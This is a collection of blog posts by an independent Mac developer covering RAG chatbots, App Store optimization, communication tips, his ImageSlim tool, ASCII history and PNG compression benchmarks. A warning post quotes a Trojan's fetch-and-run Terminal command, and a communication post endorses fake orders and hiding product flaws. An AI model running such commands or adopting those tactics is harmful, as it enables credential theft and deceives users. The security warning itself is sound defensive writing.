In the Chat widget configuration interface, you can configure the name and welcome message of Chatbase Agent.

Configure your Chatbase Agent's avatar and default icon in the Style tab.

In the "Embed" tab, you can select the Chat widget and copy the … code in the Widget Setup to your website.

Configuring Chatbase Agent in WordPress

If your website is powered by WordPress, you can do this in the WordPress admin area → Appearance → Theme Editor.

1. Modify footer.php directly

Find header.php or footer.php:

If you want the script to load earlier, place it before the tag;

If you want the script to load last, place it before the

RAG knowledge base, AI agents, and remote large models

junyu fang — Sat, 13 Sep 2025 14:44:31 +0000

Recently, a friend told me that the website had too much content and was not user-friendly, so he asked me to consider creating a RAG knowledge base for the website. After that, I used Chatbase to create a RAG knowledge base.

Why is there such a demand? Many people want websites to offer "intelligent customer service" that can answer FAQs and even understand on-site articles.

Training a large model is prohibitively expensive, leading to the emergence of a "remote large model + knowledge base + packaging platform" combination.

I import my website link into Chatbase, which automatically builds a knowledge base for me. It then uses a remote large model (such as OpenAI's 4o Mini) to answer questions.

Concept Basics

** 1. Remote Large Model **: This refers to large language models (LLMs) running in the cloud, such as OpenAI GPT, Anthropic Claude, and Google Gemini.

Remote means the model isn't run locally, but rather accessed via an API. The large model is the "core brain," responsible for understanding and generating answers.

** 2. RAG Knowledge Base **: RAG stands for Retrieval-Augmented Generation.

It's not the model itself, but rather a methodology for using large models.

The idea is:

1) Website articles, FAQs, and PDFs are broken down into small segments → stored in a vector database.

2) Users ask questions → the system retrieves relevant content.

3) The retrieved content plus the user's question are fed into the remote master model.

4) The master model generates answers that are more accurate to the data.

Thus, the RAG knowledge base acts as a "plug-in memory" for the remote master model.

*3. AI Agent * : A "secretary" (execution layer) built on top of the big model and knowledge base, capable of making decisions and invoking tools.

It not only communicates with the system but also invokes tools, performs tasks, and makes decisions.

For example, to help optimize Swift code in Xcode, the AI agent:

1) Accesses the Swift code in Xcode through an API.

2) Accesses the RAG knowledge base → retrieves relevant development documentation.

3) Allows the big model to generate optimization recommendations based on the knowledge base content.

4) Calls a local API to write the optimized code back to Xcode.

Product Introduction

** Official Customization **

OpenAI GPTs: Upload documents and add model specifications to create a custom bot. Officially supported, but only usable within ChatGPT.

** RAG Knowledge Base SaaS Platforms **

Chatbase, Dify, and Claude Workflows: Upload documents/websites, and these platforms automatically build a RAG knowledge base, then pass user questions to a larger model.

No code required, quick to get started, and suitable for website FAQs and customer service scenarios. The downside is platform dependency.

** Open Source/Developer Tools **

Flowise: Visual drag-and-drop, self-deployment.

LangChain/LlamaIndex: Developer-oriented, using Python/JS to build code. High degree of flexibility, suitable for engineers, but requires programming skills.

** Chatbot Platforms **

BotPress and Typebot: These platforms focus on process design. Instead of starting with a large model, they use a "conversation flow designer" and integrate with Live Chat Manager. They're suitable for multi-step Q&A/guidance (for example: first ask the user's name → then ask for their needs → provide recommendations).

Use Cases

Personal bloggers: Chatbase and Dify for hassle-free use.

SME customer service: BotPress/Typebot + RAG platform for multi-round conversations.

Developers/geeks: LangChain/LlamaIndex for high flexibility and control.

Large companies with a budget: Self-deployed Flowise + private models for greater security.

Apple App Store Optimization (ASO)

junyu fang — Mon, 01 Sep 2025 04:58:45 +0000

ASO (App Store Optimization), also known as "App Store SEO," is similar to search engine optimization (SEO), but with its own rules and priorities. The goals of optimization are:

Improve your app's search ranking in the App Store, increase its visibility, and boost download conversion rates.

I. Search Ranking Optimization (Keywords + Algorithm)

Apple Store search results are primarily determined by keyword matching and user behavior. To optimize, focus on the following aspects:

1. App Title

This has the highest weight and directly impacts search results.

Recommended format: Brand name + core function words.

For example: Lightly compress images – Image compression & format conversion.

Keep the title within 30 characters to avoid truncation.

2. Subtitle

This subtitle has the second highest weight and appears below the app title.

It is used to include secondary keywords, selling points, or highlight differentiating features.

1. Incorrect example: "A free, open-source image compression and image format conversion tool."

In this incorrect subtitle example, "a" takes up valuable characters and is meaningless. "Tool" could also be omitted; users will know it's a tool.

The subtitle carries a higher weight and should include as many keywords as possible, rather than simply providing an introduction.

2. Correct example: "Open-source tool, batch image compression, saves space."

3. Keywords Field

100-character limit, separated by commas.

Do not repeat keywords in the title, as the system will automatically overwrite them.

1. Avoid Waste:

1) Avoid plural forms (Apple will automatically recognize this).

2) Do not use spaces.

3) Avoid common words (app, free, best).

2. Keyword selection should consider both search volume and relevance:

1) Core Function Keywords: These are the most intuitive keywords users search for, such as image compression, photo compressor, and resize image.

2) Long Tail Keywords: These have low competition and high conversion rates, such as compress jpeg and reduce png size.

3) Pain Point Keywords: These are user motivations, such as save storage and optimize photos.

4) Regionalization: Keywords used vary significantly across regions. Americans tend to use "photo," Japanese use "portrait," and Europeans might use "optimize."

3. Practical Methods:

1) Go to the App Store and enter a keyword directly to see the automatically generated keywords (these are the keywords users actually search for).

2) Look at the titles and subtitles of competitors’ products, which often contain their core keywords.

Their titles all include "Compress," "Photo," "Resize," and "Format Conversion."

Subtitles often include pain-point keywords like "Save storage."

3) Use ASO tools (AppTweak, Sensor Tower, App Radar, ASOdesk) to check search volume and difficulty.

How to write keywords?

1. Apple's official rules:

1) 100-character limit, separated by commas (,).

2) No spaces allowed, as they are treated as invalid characters by the system, wasting valuable space.

Correct:

image compression, photo compressor, resize image

Incorrect:

image compression, photo compressor, resize image

3) Do not repeat words already in the title or subtitle. Apple will automatically merge these fields.

4) Apple's search is case-insensitive; searching for "jpeg" will match both JPEG and jpeg.

2. The system automatically combines words:

If you write "image, compression, format, conversion," users searching for "image compression" and "format conversion" will also match, so there's no need to repeat the entire phrase.

Correct word combination: compression, slimming, lossless, batch, conversion, format, resize, photo, optimization, storage, jpeg, jpg, png, avif, webp, heic, reduce, resize, compressor, convert, picture

3. English Keywords:

Even if you're listed in the Chinese and Japanese regions, many people will search in English. Therefore, we recommend adding English keywords.

4. Keyword Parsing:

Apple's keyword field parsing rules are:

1) Only English half-width commas (,) are recognized as delimiters.

2) If you use the Chinese semicolon (comma), the full-width comma (comma), or the Arabic comma (،), the system will interpret it as a continuous string rather than multiple keywords. This wastes search terms that could have been combined.

English commas are altered in Google Translate. For example, in Japanese, they are translated as semicolons (commas), and in Arabic, they are translated as ،. Therefore, you need to change the commas in Google Translate to English commas.

الصورة، الضغط، التحويل  // Incorrect spelling: spaces and Arabic commas are present.
الصورة,الضغط,التحويل    // Correct spelling: remove spaces and replace with English commas

4. App Description

This description has little direct impact on search ranking, but is crucial for conversion rate.

Recommendation: Clearly outline the core features and user value in the first few lines, then provide detailed explanations later.

5. App Update Log (What's New)

Although this has a low weight, frequent updates give users and algorithms a sense of activity.

It's recommended to optimize the content when updating.

6. User Behavior Weighting

Apple's search rankings also consider:

1) Download volume and growth rate (the cold start period is crucial);

2) Retention rate (users who continue to use the app after downloading indicate its value);

3) Ratings and number of reviews (influence ranking and conversion rate);

II. Conversion Rate Optimization (Download Decision Level)

Being searched for doesn't necessarily mean downloading. To get users to click "Get," focus on:

1. App Icon

Make it simple, high-contrast, and highly recognizable.

Try to avoid being too similar to competing products.

2. Screenshots & Videos (Preview)

Screenshots are the first thing users see when they click on your app.

Recommendation: Use the first two screenshots to highlight the core features and include a brief caption.

For complex features, consider using a preview video (15–30 seconds).

3. Ratings & Reviews

A rating of 4.5 stars or higher significantly impacts conversion rates.

Encourage users to leave positive reviews (e.g., prompts after a feature is completed).

Reply promptly to negative reviews to demonstrate developer commitment to product maintenance.

4. Localization

Optimize titles, subtitles, keywords, and screenshot copy for different countries/regions.

For example, if you use "image compression" in the US, you might use "画像圧縮" in Japan.

III. Data Analysis & Continuous Optimization

ASO isn't a one-time effort; it requires continuous testing and iteration:

Analyze keywords using tools such as AppTweak, Sensor Tower, App Radar, and ASOdesk.
Continuously monitor downloads, rankings, and keyword coverage.
Observe the titles, screenshots, and keywords of competing products.
Try A/B testing different titles or screenshots with each update.

Summary

ASO Optimization Priorities:

Title (most critical)
Subtitle & Keyword Fields
Screenshots & Icons (increase conversion rates)
Localization (expand market share)
Review Maintenance & Continuous Updates

Further Knowledge

Can keywords use brand terms, such as TinyPNG? Apple's review rules: You cannot overuse competing or trademarked terms.

If you use well-known tool names like TinyPNG or Photoshop, your application may be rejected, especially if there's clear infringement.

However, there's a gray area:

If it's a generic, non-trademarked term (such as png or tiny), it's allowed.

If users are genuinely searching for TinyPNG and you want to attract traffic, try using function terms (in the title, subtitle, or keywords) that are closer, for example:

tiny photo compressor
png optimizer

This avoids directly violating the trademark and can also help divert some traffic.

Recommendation: Avoid using brand terms like TinyPNG directly; instead, use similar expressions to mitigate risks.

From implementation to closing: communication skills that independent developers must learn

junyu fang — Sat, 30 Aug 2025 15:07:59 +0000

In addition to writing code and polishing product details, independent developers must master one key skill: communication.

Communication not only determines whether or not users can gain trust, but also directly impacts a product’s downloads, usage, and reputation.

This article, drawing on real-world examples, summarizes common communication skills and pitfalls in independent development, hoping to provide inspiration for those on the independent development journey.

Ⅰ. Why Communication is More Important Than You Think

Many independent developers share a common trait: they enjoy coding but struggle with communication. They believe that “good wine needs no bush” and that a good product will attract users. The reality is, a good product doesn’t speak for itself; only communication can make others understand its value. Otherwise, a good product will be like a pearl on the beach, lost amidst a sea of sand.

Users’ initial understanding of an app often comes from promotional posts posted by the developer on social media platforms. Users express their opinions in response to these posts, and the developer’s responses and attitudes are often considered part of the user experience.

When a user asks a question, different responses yield different results. Good communication can attract more users to experience your app. Once a sufficient initial user base is reached, app stores like the App Store and Google Play will improve your app’s ranking based on downloads and ratings. If communication with users is poor, you won’t be able to attract these initial users, and thus fail to generate this positive feedback.

Communication also allows you to understand users’ true needs. Many feature points and optimization areas may be hidden in user feedback, which can also represent potential market opportunities.

II. Core Communication Skills

1. Highlight Strengths and Minimize Weaknesses

When introducing your product to users, focus on explaining why it’s worth downloading, rather than simply offering a duplicate app in the app store.

Don’t proactively expose your product’s shortcomings. If users ask about them, provide a reasonable explanation and a viable alternative.

2. Don’t Directly Reject Requests

When users raise requests, don’t immediately say “no.” Your rejection could permanently lose them.

You can document and evaluate these requests first, and try to meet appropriate requests. For new requests, you can offer a positive response like, “I’ll consider adding them to the optimization plan.”

3. Provide Appropriate Reminders to Build Trust

During communication, you can highlight features that will be optimized later or explain areas that require payment. Being transparent and sincere can foster trust.

4. Offer Discounts Early on to Build Word-of-Mouth

In the early stages of app promotion, consider offering limited free access or free activation codes. Don’t be afraid to “lose money to gain publicity.”

Discounts, free trials, and additional support are all designed to attract the first wave of users.

Ⅲ. Real-Life Case Study: Nori Buying and Selling

Some time ago, my mother was selling rice balls at a scenic spot and asked me to go to the wholesale market to buy the ingredients. During the process of buying the nori, I deeply realized the importance of communication, which inspired me to write this article.

At first, I went to a dried seafood store and asked the owner for 100 sheets of loose nori. The owner showed me plastic-wrapped nori. I thought the quantity was too small and only suitable for selling to tourists. The owner said, “We don’t have bulk nori,” without any explanation or other suggestions.

The second dried seafood store also only had plastic-wrapped nori. After learning about my need, the owner said he could add me on WeChat to contact the manufacturer, but he never heard back from me again.

Finally, at a grocery store, I told the owner about my need for loose nori. She took out plastic-wrapped nori, told me the price and quantity (15 yuan for 30 sheets), and asked me to calculate that buying 100 sheets would require about 3–4 packages. When I asked if they sold bulk seaweed, she explained that they didn’t sell it — it dried out and spoiled easily, so it had to be vacuum-packed.

This reminded me of selling seaweed at a scenic spot last year. Large sheets of loose seaweed needed to be cut into pieces and placed in square baskets, then sealed with plastic wrap to prevent prolonged exposure to air. Otherwise, the seaweed would change from crispy to sticky or dry, depending on the humidity, affecting its flavor.

After understanding why they didn’t sell bulk seaweed, I not only bought some from the proprietress but also bought other ingredients.

This is the difference in communication:

The previous vendors, lacking knowledge of the product, simply said “no” when unable to resolve the customer’s issue. The customer’s issue was shelved, and the transaction ended.

The proprietress went the extra mile, first satisfying my information needs and then providing a reasonable explanation. This effectively offered an “alternative solution.” This not only closed the transaction but also fostered trust.

IV. Independent Development Cases

1. Responses to Product Comparisons

On Reddit, I promoted my Mac image compression tool, "ImageSlim".

Someone asked, "How does it compare to ImageOptim?"

I originally planned to honestly compare the pros and cons of each feature. Both are open source and free, but ImageOptim integrates more third-party libraries, and ImageSlim doesn't support GIF compression. The compression rates for formats like PNG aren't much different.

I sent this detailed comparison data to ChatGPT and asked them to translate it into English. They told me that my response might not be appropriate because many of the features were incomplete, which would give users a negative impression of my app compared to ImageOptim, potentially turning off potential users.

ChatGPT suggested I highlight the product's strengths and change my response to: "ImageSlim" and ImageOptim offer similar compression quality, but ImageSlim focuses on a different experience, supporting 47 languages, having a simple interface, using the native macOS compression engine, using third-party open source libraries, and offering drag-and-drop functionality. I briefly mentioned the differences.

Users aren't shareholders. When answering questions about a product's strengths and weaknesses, you don't need to reveal every flaw. The key to communication is making them feel it's worth trying.

2. The Wrong Refusal

Another user left a message asking for a free product activation code, and I immediately declined.

But then I reflected: Since the app is open source, I could have simply given them the GitHub link and told them they could download the packaged app there, or provided a TestFlight link.

Each early user can potentially bring more exposure and feedback. Rejecting them directly means missing a potential channel for promotion. If I had offered an “alternative solution,” they might have thought the app was suitable and shared it with their friends. If I had declined, they might never have used my product.

So, when a user asks for help, don’t be quick to refuse. Try to find an “alternative solution” for them.

Ⅴ. Universal Communication Strategies

These techniques apply not only to independent developers but also to restaurants, barbershops, and takeout businesses:

To attract customers, restaurants must consider offering low-priced dishes. For example, if a customer wants half-price shredded potatoes for 6 yuan, don’t reject their request outright. Instead, offer the half-price option and let them in first to view the menu. Offer smaller portions and explain that the half-price option applies to the smaller portion, while the larger portion is the menu price.

If a restaurant doesn’t actively attract customers during mealtimes and no one is dining in, new customers may assume the food is unhygienic or tastes bad, leading to a lack of diners and a lack of patronage. Good restaurants are always busy. When there are no customers, restaurants must quickly attract them, even at a loss, to keep customers inside. This will attract more customers.

Barbershops are similar: when business is slow, they need to create buzz; otherwise, passersby might suspect their barbers are not good.

On food delivery platforms, new businesses need to rely on fake orders to drive their initial orders, which will boost traffic. Otherwise, no one will order from a food delivery restaurant without reviews.

The same applies to independent developers. App Store and Google Play rankings are influenced by factors like downloads and ratings. Without an initial user base, your product will be difficult to discover.

Whether you’re a restaurant, barber shop, food delivery service, or independent developer, you must attract as many users as possible in the early stages, allowing more people to understand and experience your product. Your service attitude will also leave a good impression on potential customers. If your product and service attitude is good enough, users will promote your product. If users don’t like your product, you won’t lose anything.

VI. Summary: Golden Rules of Communication for Independent Developers

Emphasize strengths first, then address weaknesses.
Don’t say “no” easily.
Be sincere and transparent.
In the early stages of promotion, even if it means making concessions, you should focus on building user base.
Use explanations and alternatives wisely, avoiding blunt refusal.

Remember: Code makes a product exist; communication makes it usable.

Independent developers are both technical developers and, most importantly, salespeople.

A Free Alternative to TinyPNG on Mac

junyu fang — Thu, 28 Aug 2025 04:12:19 +0000

In their daily work, developers, designers, and content creators often encounter a common problem: images are too large.

Excessively large images not only take up storage space, but also affect web page loading speeds, application performance, and even appear cumbersome when sent via email or instant messaging.

When it comes to image compression, many people immediately think of TinyPNG. Its simple and efficient online compression has long been a popular choice. However, TinyPNG has some limitations: it requires online uploads, and the Pro version requires a subscription fee.

So, is there a free alternative to TinyPNG on Mac? Here’s ImageSlim.

What is ImageSlim?

ImageSlim is a free, open-source image compression tool for macOS that supports a variety of image formats, including .png, .jpg, .jpeg, .heic, and .exr.

The app uses native macOS compression and optionally enables third-party open-source tools like pngquant and gifsicle for efficient compression, achieving compression rates of up to 99%.

User Experience

ImageSlim is incredibly easy to use:

Drag and drop an image into the app;
Click the “Image button” to import it;
Or simply press Command + V to paste it.

Images are instantly compressed locally, eliminating the need to upload to a server, ensuring data privacy and security.

After compression, users can:

View the original image;
Download individual images;
Or, package them into a ZIP file and export them in batches with one click.

The entire process is incredibly smooth, with virtually no additional learning required.

Feature Highlights

Compared to TinyPNG, “ImageSlim” is more suited to the native workflow of Mac users:

Multiple format support: PNG, JPG, JPEG, HEIC, EXR;
Batch compression: Process multiple images at once, saving time and efficiency;
Privacy protection: All compression is done locally, no uploading required;
Highly configurable: Adjust the compression ratio, set the output directory, and enable/disable third-party compression engines (pngquant, Gifsicle).

If a third-party compression engine is not enabled, “ImageSlim” defaults to macOS’s native compression capabilities to ensure compatibility and processing speed.

Open Source and Privacy Commitment

“ImageSlim” is completely open source, with the source code hosted on GitHub. We utilize excellent third-party open source projects, such as:

pngquant (efficient PNG compression);
gifsicle (compressed GIF animations);
Zip (batch export);

“ImageSlim” is free, has no ads, promises not to upload users’ pictures to third-party servers, and does not actively collect users’ private data.

Who is it suitable for?

“ImageSlim” has a clear positioning: efficiency + privacy + a simple experience.

It is particularly suitable for:

Front-end/mobile developers: optimize web pages and app resources;
UI/graphic designers: quickly reduce image size;
Content creators: compress materials for social media and blogs;
General users: save hard drive space and improve transfer efficiency.

Summary

If you’re looking for a free alternative to TinyPNG on Mac that:

Doesn’t rely on the internet;
Fast local compression;
Free, open source, and ad-free;
Balances privacy and efficiency.

then “ImageSlim” is undoubtedly a worthwhile option.

ImageSlim Mac download link: Mac App Store

GitHub repository: GitHub

Don't blindly run Terminal commands on your Mac; they could steal your passwords.

junyu fang — Mon, 25 Aug 2025 14:56:19 +0000

Some current Trojans disguise themselves as Mac technical support or tutorial websites, often teaching you how to solve common problems and building trust. Finally, they'll give you a command to "copy and paste into Terminal."

Command:

bin/bash -c "$(curl -fsSL $(echo [long_string] | base64 -d))"

When you run this and enter your administrator password, it steals your keychain passwords, memos, and cryptocurrency wallets, compresses them, and uploads them to the attacker's server. This is a targeted theft Trojan.

Thus, don't blindly copy commands from online sources.

Similarly, many cracked plugins for pirated Mac software may hide cracked commands, requiring you to double-click and enter your administrator password. I've had similar experiences before, and I'm unsure if my Mac is infected with viruses.

So, when running commands in Terminal, always check for malicious intent. If you can't see the command code, don't enter your administrator password.

If you're concerned about your computer, you can type

ls /Library/LaunchAgents

ls /Library/LaunchDaemons

in Terminal to check for any unidentified daemons. If there are any, back them up first, then delete these daemons, and restart your computer.

PS: Since there are many daemons, it's recommended to organize them into a document and send it to ChatGPT for review.

Reference article

Mac Support, Malware, and Tricks: Trojans are a Trojan Weapon: https://www.mactechnews.de/news/article/Mac-Support-Sucht-Malware-Support-Tricks-are-a-Trojan-weapon-187809.html

ASCII and Unicode: The Evolution of Computer Languages

junyu fang — Fri, 22 Aug 2025 00:37:52 +0000

Today, the A, B, and C we type on our keyboards are letters to humans, but to computers, they're just 0s and 1s.

So, how do computers understand that A represents the capital letter A, rather than just a random number?

The answer is—ASCII.

ASCII

In the 1960s, American teletype (TTY) manufacturers each had their own incompatible "character sets," making communication difficult.

Each letter needed to be converted into an electrical signal (a 0/1 pulse) for transmission. Telegraph systems at the time typically used 5-bit (Baudot code) or 6-bit (Fielddata code) to represent characters.

The American Standards Association (ASA, later renamed ANSI) released ASCII (American Standard Code for Information Interchange) in 1963.

ASCII is the first widely adopted English-based character encoding standard. It uses 7-bit binary numbers to represent characters and can represent up to 2^7 = 128 symbols.

The ASCII table in the image shows a 7-bit binary representation of the vertical and horizontal axes.

Character Example

For example, the ASCII code for 5 is:

First, look at b7, b6, and b5 above. The corresponding value is 011.

Then look at b4, b3, b2, and b1 on the left. The corresponding value is 0101.

Therefore, the ASCII code for 5 is 011 0101 in binary, and 53 in decimal.

The Relationship Between ASCII and Computers

1. The Origin of Computer Storage Units

The design of a computer's CPU, memory chips, and bus determines the minimum number of bits that can be read or written at once.

Early machines included 6-bit machines (DEC PDP-6) and 9-bit machines (CDC 6600), with varying degrees of uniformity in storage units.

Later, 8 bits were gradually standardized as the minimum storage unit.

Reasons:

ASCII can fit perfectly into 8 bits, with the remaining bit used for parity check/extension;
8 bits naturally align with binary hexadecimal (1 byte = 8 bits = 2 hexadecimal digits).

Memory alignment is highly efficient (byte addressing is much simpler than bit addressing).

Consequently, hardware manufacturers gradually adopted 8 bits as the minimum addressable unit, called a byte.

Although ASCII is only 7 bits, this means that when storing data, the most significant bit (the 8th bit) is usually filled with 0.

Note: A bit is the smallest unit of computer storage, capable of storing only 0 or 1, and is typically represented by the lowercase letter "b." One byte equals 8 bits, which is equivalent to one ASCII character, typically represented by an uppercase "B."

2. ASCII History Timeline

1963: The first version of ASCII is released (7 bits, 128 characters).

1968: US President Lyndon Johnson signs an executive order requiring all US federal government computers to support ASCII, which promotes the widespread adoption of ASCII.

1970s: IBM, DEC, and other major companies adopted ASCII, making it the universal language for computer and terminal communication.

1981: The IBM PC (personal computer) was released, using extended ASCII (8-bit, 256 characters), effectively introducing ASCII to the world.

Extended ASCII

In the 1980s, as computers began to become internationalized, ASCII only supported English; European languages, scientific notation, and glyphs were not supported.

ASCII only uses 7-bit binary characters, with the 8th bit set to 0 by default. Therefore, various manufacturers changed the highest bit from 0 to 1 to define additional characters. This is known as Extended ASCII.

Extended ASCII uses 8-bit binary numbers to represent characters, allowing for a maximum of 2^8 = 256 symbols.

128 additional characters were added to the ASCII base (0-127, consistent with ASCII):

Accented letters (é, ñ, ü) for various languages;
Line symbols and special graphics;
Some mathematical symbols.

Extension standards vary by manufacturer:

The IBM PC defines symbols such as smiley faces, outlines, and Greek letters.
ISO developed the ISO 8859 series (such as ISO-8859-1 "Latin-1," which includes Western European characters such as é and ñ).

For example, é might equal 233 (0xE9).

ç may = 231 (0xE7).

Macintosh uses MacRoman encoding.
Windows uses Windows-1252 encoding.

Thus, extended ASCII is not a unified standard. In an 8-bit byte, the first 128 bits are compatible with ASCII, while the last 128 bits extend the encoding of each manufacturer.

Unicode Encoding

ASCII was the beginning of everything, but it only had 128 characters, covering only the English-speaking world. With the continued development of globalization, extended ASCII began to experience "garbled characters":

On a French-speaking computer, 128–255 corresponded to é, à, and so on.
On a Russian-speaking computer, 128–255 corresponded to кириллица (Cyrillic).
On a PC, 128–255 might correspond to a border glyph.

The same byte value on a computer might display completely different characters because different manufacturers extended ASCII in different, incompatible ways.

To address this issue, the Unicode Consortium was established in 1991, and the Unicode 1.0 specification was released in 1991–1992. It encompasses nearly all the world's written symbols (now exceeding one million characters), defines a globally unified character set, assigns each character a unique code, and is fully compatible with the ASCII range (0–127), ensuring historical compatibility. Including emoji, Chinese, Arabic, etc.

For example, 😊 = U+1F60A. U+ indicates a Unicode code point, and 1F60A is a hexadecimal number, which converts to decimal as 128522.

In UTF-8, it occupies 4 bytes:

Note: UTF-8 is an implementation of Unicode; there are also UTF-16 and UTF-32.

Summary

ASCII is the first computer character standard, allowing machines to understand A-Z, 0-9, punctuation, and control characters.

ASCII uses 7-bit binary and can represent 128 characters; extended ASCII uses 8-bit binary and can represent up to 256 characters, with different definitions in different countries and manufacturers. Unicode unified the incompatibilities of extended ASCII.

ASCII laid the foundation for modern encodings and still plays a key role in Unicode today.

So, the next time you type "A" into your computer, think about this—to the computer, it's actually just 0100 0001.

Extended Graphics

ASCII Code

Extended ASCII

Reference Articles

1、ASCII – wikipedia：https://en.wikipedia.org/wiki/ASCII

2、林登·约翰逊：https://zh.wikipedia.org/zh-cn/%E6%9E%97%E7%99%BB%C2%B7%E7%BA%A6%E7%BF%B0%E9%80%8A

3、Teleprinter：https://en.wikipedia.org/wiki/Teleprinter

4、Unicode：https://zh.wikipedia.org/zh-cn/%E7%BB%9F%E4%B8%80%E7%A0%81

Top PNG compression methods on macOS compared — are native APIs useless?

junyu fang — Wed, 13 Aug 2025 05:16:58 +0000

Hello everyone, I'm an Apple developer from China. When I upload blog posts, I usually need to compress images, so I use TinyPNG to compress images. However, TinyPNG requires the use of the Internet. When the network signal is poor or when I need to compress private images, I am always worried that the images will not be compressed properly.

Then I started looking for ways to compress PNG images. On the Mac platform, there are several options for best practices and third-party libraries for compressing PNG images:

pngquant: Color quantization, lossy compression, CLI/C API support, best choice (compression up to 70-90%).
ImageOptim CLI: A collection of tools, lossy compression, CLI support, calling pngquant/optipng/zopfli, etc.
optipng: Reordering and deduplication, lossless compression, CLI support, typically 5-20% compression.
TinyPNG: Color analysis and compression, lossy compression, HTTP API support, good results, free with usage limits.
NSBitmapImageRep: Re-encode, lossless compression, native to macOS, almost no compression.
Image I/O (CGImageDestination): Write to PNG, lossless compression, native to macOS, also almost no compression.

Test plan

I tried testing all the solutions using this PNG image (1.9MB):

1. pngquant

By default, pngquant can achieve a compression rate of 89%.

If the configuration parameter is set to 0-1, the maximum compression can be 99.01%.

A 1.9MB image can be compressed to 17KB at the maximum, with a compression rate of 99.01%.

2. ImageOptim

ImageOptim compresses the file size by 54% by default, which is a medium level.

After turning on the lowest compression configuration.

PNG compresses 96.5% of its volume, and PNG becomes 66KB from 1.9MB, which is also a very high compression ratio.

3. optipng

optipng can set filters and compression strategies, but optipng can only compress up to 51.5%.

Moreover, each layer of compression takes a long time to calculate, which is more time-consuming than the previous methods.

4. TinyPNG

TinyPNG compresses files by 75% by default.

5. NSBitmapImageRep

Mac's native image compression API can compress image size by 35%.

6. CGImageDestination

Similar to NSBitmapImageRep, both are compressed by 35%.

Test Results

Among all the solutions:

pngquant and ImageOptim achieved the highest compression ratios, achieving minimum compression ratios of 99% and 96.5% respectively;
tinypng achieved a compression ratio of 75%;
optipng achieved a compression ratio of 51.5%;
NSBitmapImageRep and CGImageDestination achieved a compression ratio of 35%.

TinyPNG, a free web-based PNG image compression tool I frequently use at work, boasts very high compression rates. However, it's not usable on a local computer.

NSBitmapImageRep and CGImageDestination are built-in image compression methods on Mac. They offer the worst compression rates for PNG images. However, if you don't want to use third-party packages, you can consider compressing images using NSBitmapImageRep and Image I/O (CGImageDestination). Compared to these two methods, CGImageDestination supports compression of EXR and HEIC files and prevents reverse compression (where a smaller image is compressed into a larger one).

Local Image Compressing
For average users who want to compress PNG images locally on a Mac, ImageOptim with its visualization window is the only option.

pngquant, optipng, TinyPNG, NSBitmapImageRep, and CGImageDestination require a certain level of technical knowledge.

pngquant needs to be installed and compressed through CLI:

brew install pngquant

pngquant --quality=65-80 --output output.png your_image.png

optpng also requires CLI installation and configuration of compression parameters:

brew install optipng

optipng -o7 your_image.png // -o7 indicates the strongest compression level

TinyPNG requires a network connection and cannot natively compress images.
NSBitmapImageRep and CGImageDestination are both native compression APIs and cannot be used directly.

So, if you want to use a native Mac API + PNG compression, which one should you choose?

ImageSlim

ImageSlim uses Mac's native image compression API CGImageDestination, which supports compression of image formats such as HEIC, EXR, JPG, JPEG, and PNG, but is not as good as pngquant and ImageOptim in PNG compression.

Because the Mac's native compression API lacks sufficient advantages for PNG, ImageSlim has integrated pngquant. You can enable the pngquant third-party library in the settings to achieve PNG compression, switching back and forth between the Mac's native API and the third-party library.

The Mac's native compression API provides excellent support for JPG, JPEG, HEIC, and EXR compression scenarios, while pngquant complements its shortcomings in PNG image compression, creating a perfect combination of the two.

Why choose ImageSlim? Because ImageSlim is a free, open-source image compression tool. You can enable/disable third-party image compression engines. If you don't enable third-party image compression engines, it defaults to using the native Mac compression API to ensure compatibility and speed.

ImageSlim compresses images entirely on your local computer and promises not to upload your images to third-party services or collect your private data.

ImageSlim is an image compression tool designed for efficiency, privacy, and simplicity, and is used by developers, designers, content creators, and anyone looking to reduce image size.

ImageSlim GitHub link: https://github.com/fangjunyu1/ImageSlim

Mac App Store: https://apps.apple.com/cn/app/%E8%BD%BB%E5%8E%8B%E5%9B%BE%E7%89%87/id6748277056?mt=12

The Mac App Store link is for the Chinese region and may not open. Please search for "ImageSlim" on GitHub or the Mac App Store to download it.

pngquant：https://pngquant.org/
ImageOptim：https://imageoptim.com/mac
opt PNG：http://optipng.sourceforge.net/
tinify：https://tinify.com/developers
tinypng：https://tinypng.com/
GitHub link: https://github.com/fangjunyu1/ImageSlim
Mac App Store link for ImageSlim: https://apps.apple.com/cn/app/%E8%BD%BB%E5%8E%8B%E5%9B%BE%E7%89%87/id6748277056?mt=12

Forem: junyu fang

Fang Junyu's Tech Weekly | October 4, 2025

Hot News

AI Bubble Column

Featured News

Is the AI bubble bursting?

Is there an “AI bubble”?

Historical Echoes of Bubbles

Risks and Potential of an AI Bubble

Conclusion

Reference Articles

Fang Junyu's Technology Weekly - September 26, 2025

Independent development of side hustles

Chatbase + Rag: Quickly build your knowledge base question-answering robot

Register and create a Chatbase account

Managing Chatbase Agents

Deploy Chatbase Agent

Configuring Chatbase Agent in WordPress

RAG knowledge base, AI agents, and remote large models

Concept Basics

Product Introduction

Use Cases

Related links

Apple App Store Optimization (ASO)

I. Search Ranking Optimization (Keywords + Algorithm)

1. App Title

2. Subtitle

3. Keywords Field

How to write keywords?

4. App Description

5. App Update Log (What's New)

6. User Behavior Weighting

II. Conversion Rate Optimization (Download Decision Level)

1. App Icon

2. Screenshots & Videos (Preview)

3. Ratings & Reviews

4. Localization

III. Data Analysis & Continuous Optimization

Summary

Further Knowledge

From implementation to closing: communication skills that independent developers must learn

Ⅰ. Why Communication is More Important Than You Think

II. Core Communication Skills

Ⅲ. Real-Life Case Study: Nori Buying and Selling

IV. Independent Development Cases

Ⅴ. Universal Communication Strategies

VI. Summary: Golden Rules of Communication for Independent Developers

A Free Alternative to TinyPNG on Mac

What is ImageSlim?

User Experience

Feature Highlights

Open Source and Privacy Commitment

Who is it suitable for?

Summary

Don't blindly run Terminal commands on your Mac; they could steal your passwords.

Reference article

ASCII and Unicode: The Evolution of Computer Languages

ASCII

Character Example

The Relationship Between ASCII and Computers

1. The Origin of Computer Storage Units

2. ASCII History Timeline

Extended ASCII

Unicode Encoding

Summary

Extended Graphics

ASCII Code

Extended ASCII

Reference Articles

Top PNG compression methods on macOS compared — are native APIs useless?

Test plan

Test Results

ImageSlim